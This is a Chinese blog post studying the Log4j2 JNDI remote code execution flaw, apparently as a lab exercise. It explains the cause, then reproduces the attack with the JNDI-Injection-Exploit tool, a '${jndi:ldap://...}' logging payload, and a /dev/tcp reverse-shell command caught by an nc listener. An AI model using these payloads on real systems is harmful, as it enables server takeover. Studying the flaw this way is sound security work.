Log4j JNDI远程代码注入漏洞学习

最近身边很多人都在关注这个重大的Log4j2远程代码注入漏洞,影响范围非常广,因此学习一下漏洞原理以及做一下简单的复现。

漏洞描述

log4j2

Log4j2是log4j 1.x的改进版,据说采用了一些新技术(无锁异步等),使得日志的吞吐量、性能比log4j 1.x提高了10倍,并解决了一些死锁的bug,而且配置更加简单灵活。log4j2被大量用于业务系统开发,记录日志信息,很多互联网公司以及大量的开源组件都使用该组件记录日志信息。

漏洞简述

1
2
3
4
5
6
7
8
9
10
11
用户认证:不需要用户认证

触发方式:远程

利用条件:需要外网访问权限

影响版本:2.0 ≤ Apache Log4j2 < 2.15.0-rc2

利用难度:极低,无需授权即可远程代码执行

威胁等级:严重,能造成远程代码执行

漏洞原理

JNDI

JNDI(Java Naming and Directory Interface–Java命名和目录接口)是Java中为命名和目录服务提供接口的API,通过名字可知道,JNDI主要由两部分组成:Naming(命名)和Directory(目录),其中Naming是指将对象通过唯一标识符绑定到一个上下文Context,同时可通过唯一标识符查找获得对象,而Directory主要指将某一对象的属性绑定到Directory的上下文DirContext中,同时可通过名字获取对象的属性同时操作属性。

JNDI主要由JNDI API和JNDI SPI两部分组成,Java应用程序通过JNDI API访问目录服务,而JNDI API会调用Naming Manager实例化JNDI SPI,然后通过JNDI SPI去操作命名或目录服务其如LDAP, DNS,RMI等,JNDI内部已实现了对LDAP,DNS, RMI等目录服务器的操作API。

java应用程序中可以调用JNDI协议访问远程服务,其底层包含了RMI、LDAP、DNS等协议的调用,可以通过JNDI访问远程的相关目录服务,本次爆发的攻击payload都是通过jndi调用了远程的恶意class,然后本地反序列化执行。

漏洞成因

log4j的源码中执行了lookup方法是导致本次漏洞的根本原因。

当有客户端通过lookup(“refObj”)获取远程对象时,获取的是一个Reference存根(Stub),由于是Reference存根,所以客户端会先在本地classpath中去检查是否存在refClassName,如果不存在则去指定的url中动态加载,在log4j的服务器上执行加载类的实例化操作(静态变量、静态代码块)

攻击者在自己的客户端启动一个带有恶意代码的rmi服务,通过服务端的log4j的漏洞,向服务端的jndi context lookup的时候连接自己的rmi服务器,服务端连接rmi服务器执行lookup的时候会通过rmi查询到该地址指向的引用并且本地实例化这个类,所以在类中的构造方法或者静态代码块中写入逻辑,就会在服务端(jndi rmi过程中的客户端)实例化的时候执行到这段逻辑,导致jndi注入。

漏洞验证

环境

受害者:JDK 8u311

攻击者远程服务器上准备ldap或rmi服务,使用JNDI-Injection-Exploit: JNDI注入测试工具

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

其中:

  • -C - 远程class文件中要执行的命令。

    (可选项 , 默认命令是mac下打开计算器,即”open /Applications/Calculator.app”)

  • -A - 服务器地址,可以是IP地址或者域名。

执行后会在控制台输出注入的ldap和rmi地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "attacker server ip addr"
[ADDRESS] >> attacker server ip addr
[COMMAND] >> calc
----------------------------JNDI Links----------------------------
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://attacker server ip addr:1099/emqemo
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://attacker server ip addr:1099/dzjoi9
ldap://attacker server ip addr:1389/dzjoi9
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://attacker server ip addr:1099/e54bwj
ldap://attacker server ip addr:1389/e54bwj

----------------------------Server Log----------------------------
2022-2-23 17:32:50 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2022-2-23 17:32:50 [RMISERVER] >> Listening on 0.0.0.0:1099
2022-2-23 17:32:50 [LDAPSERVER] >> Listening on 0.0.0.0:1389

测试

Java项目代码

1
2
3
4
5
6
7
8
9
10
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j11Test {
private static Logger logger = LogManager.getLogger("Log4jDemoApplication");
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://attacker server ip addr:1389/e54bwj}");
}
}

高版本的jdk默认关闭了trustURLCodebase,这里手动开启一下。

pom依赖配置

1
2
3
4
5
6
7
8
9
10
11
12
 <dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
</dependencies>

执行以上代码后,就可以在受害者机器上弹出计算机

当然也可以做反弹shell,在攻击者服务器使用nc监听一个端口,设置command为bash -i >& /dev/tcp/attacker server ip/9999 0>&1即可,受害者使用交互式bash,与攻击者9999端口建立连接,然后在重定向个TCP 9999会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。

然后在攻击者服务器上使用nc监听9999端口即可:

1
2
3
nc -lvvp 9999
Listening on [0.0.0.0] (family 0, port 9999)
Connection from victim ip 54317 received!

Log4j JNDI远程代码注入漏洞学习
https://chujian521.github.io/blog/2021/12/23/Log4j-JNDI远程代码注入漏洞学习/
作者
Encounter
发布于
2021年12月23日
许可协议